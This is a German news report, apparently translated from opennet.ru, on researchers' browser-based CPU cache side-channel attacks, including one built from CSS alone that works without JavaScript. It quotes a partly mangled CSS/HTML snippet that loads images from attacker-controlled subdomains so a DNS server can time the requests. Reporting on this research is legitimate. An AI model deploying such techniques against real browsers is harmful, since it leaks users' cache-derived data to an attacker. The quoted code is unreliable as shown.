Eine Angriffsstrategie zur Extraktion von Daten aus dem CPU-Cache, die im Web-Browser ohne JavaScript realisiert wird.

Ein Team von Forschern aus mehreren amerikanischen, israelischen und australischen Universitäten hat drei im Web-Browser funktionierende Angriffe entwickelt, um Informationen über den Inhalt des Prozessor-Caches zu extrahieren. Eine der Methoden funktioniert in Browsern ohne JavaScript, während die beiden anderen bestehende Schutzmaßnahmen gegen Angriffe über Seitenkanäle umgehen, einschließlich der in Tor-Browser und DeterFox eingesetzten. Der Code zur Demonstration der Angriffe sowie die erforderlichen Serverkomponenten zum Ausführen der Angriffe wurden auf GitHub veröffentlicht.

Zur Analyse des Cache-Inhalts wird in allen Angriffen die Methode Prime+Probe verwendet, die das Füllen des Caches mit einer Referenzmenge von Werten und die Bestimmung von Veränderungen durch die Messung der Zugriffszeiten beim erneuten Füllen beinhaltet. Um die in Browsern vorhandenen Schutzmechanismen zu umgehen, die eine genaue Zeitmessung behindern, erfolgt in zwei Varianten der Zugriff auf einen vom Angreifer kontrollierten DNS- oder WebSocket-Server, auf dem die Zeitprotokolle der eingehenden Anfragen erfasst werden. In einer Variante wird eine feste DNS-Antwortzeit als Referenzwert verwendet.

Messungen, die unter Einbeziehung externer DNS- oder WebSocket-Server durchgeführt wurden, haben gezeigt, dass ein auf maschinellem Lernen basierendes Klassifizierungssystem ausreichend ist, um Werte mit einer Genauigkeit von bis zu 98 % im optimalsten Szenario (im Durchschnitt 80-90 %) vorherzusagen. Die Angriffsmethoden wurden auf verschiedenen Hardware-Plattformen (Intel, AMD Ryzen, Apple M1, Samsung Exynos) getestet und haben sich als universell erwiesen.

Eine Angriffsstrategie zur Extraktion von Daten aus dem CPU-Cache, die im Web-Browser ohne JavaScript realisiert wird.

Im ersten Angriffsszenario „DNS Racing“ wird eine klassische Implementierung der Methode Prime+Probe verwendet, die JavaScript-Arrays nutzt. Die Unterschiede liegen in der Verwendung eines externen Timers auf Basis von DNS und eines onerror-Handlers, der bei dem Versuch, ein Bild von einer nicht existierenden Domain zu laden, ausgelöst wird. Der externe Timer ermöglicht es, den Angriff Prime+Probe in Browsern durchzuführen, die den Zugriff auf JavaScript-Timern einschränken oder vollständig deaktivieren.

Für einen DNS-Server, der im selben Ethernet-Netzwerk gehostet wird, wird die Genauigkeit des Timers auf etwa 2 ms geschätzt, was für Angriffe über externe Kanäle ausreichend ist (zum Vergleich, die Genauigkeit des Standard-JavaScript-Timers im Tor-Browser ist auf 100 ms reduziert). Für einen Angriff ist keine Kontrolle über den DNS-Server erforderlich, da die Ausführungszeit der Operation so gewählt wird, dass die Antwortzeit vom DNS als Hinweis auf einen früheren Abschluss der Überprüfung dient (je nachdem, ob der onerror-Handler früher oder später ausgelöst wird, wird auf die Geschwindigkeit der Überprüfungsoperation mit Cache geschlossen).

Die zweite Angriffsmethode „String and Sock“ zielt darauf ab, Schutzmechanismen zu umgehen, die die Nutzung von Arrays in JavaScript auf niedriger Ebene einschränken. Statt Arrays kommen bei „String and Sock“ Operationen mit sehr großen Strings zum Einsatz, deren Größe so gewählt wird, dass die Variable den gesamten LLC-Cache (Last Level Cache) abdeckt. Anschließend wird mithilfe der Funktion indexOf() in dem String nach einer kleinen Teilzeichenfolge gesucht, die ursprünglich nicht im Ursprungstext vorhanden ist, das heißt, die Suchoperation erfordert das Durchsuchen des gesamten Strings. Da die Größe des Strings der Größe des LLC-Caches entspricht, ermöglicht das Scannen die Durchführung einer Cache-Prüfoperation, ohne mit Arrays zu arbeiten. Zur Messung der Latenzen wird anstelle von DNS ein kontrollierter WebSocket-Server des Angreifers angesprochen – vor und nach Abschluss der Suche im String werden Anfragen gesendet, auf deren Grundlage die Server Latenz berechnet wird, die zur Analyse des Cache-Inhalts verwendet wird.

Die dritte Angriffsvariante "CSS PP0" wird über HTML und CSS realisiert und funktioniert in Browsern mit deaktiviertem JavaScript. Die Methode erinnert an "String and Sock", ist jedoch nicht an JavaScript gebunden. Während des Angriffs wird eine Reihe von CSS-Selektoren erstellt, die eine Maskensuche durchführen. Die ursprüngliche große Zeichenkette, die den Cache füllt, wird durch die Erstellung eines div-Tags mit einem sehr langen Klassennamen festgelegt. Innerhalb davon wird eine Reihe anderer divs mit ihren eigenen Identifikatoren platziert. Für jedes dieser verschachtelten divs wird ein eigener Stil mit einem Selektor definiert, der nach einer Teilzeichenkette sucht. Bei der Darstellung der Seite versucht der Browser zunächst, die inneren divs zu verarbeiten, was zu einem Suchvorgang in der großen Zeichenkette führt. Die Suche erfolgt anhand einer absichtlich nicht vorhandenen Maske und führt zur Durchsicht der gesamten Zeichenkette, wonach die Bedingung "not" aktiviert wird und ein Versuch erfolgt, ein Hintergrundbild zu laden, das auf zufällige Domains: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Subdomains werden von dem DNS-Server des Angreifers verwaltet, der die Verzögerungen beim Empfang von Anfragen messen kann. Auf alle Anfragen gibt der DNS-Server NXDOMAIN zurück und protokolliert die exakten Zeitpunkte der Anfragen. Infolge der Verarbeitung einer Gruppe von divs erhält der DNS-Server des Angreifers eine Reihe von Anfragen, deren Verzögerungen mit dem Ergebnis der Cache-Inhaltsprüfung korrelieren.

Eine Angriffsstrategie zur Extraktion von Daten aus dem CPU-Cache, die im Web-Browser ohne JavaScript realisiert wird.


Quelle: opennet.ru
Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Server 🔥 Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz, VPS VDS-Server | ProHoster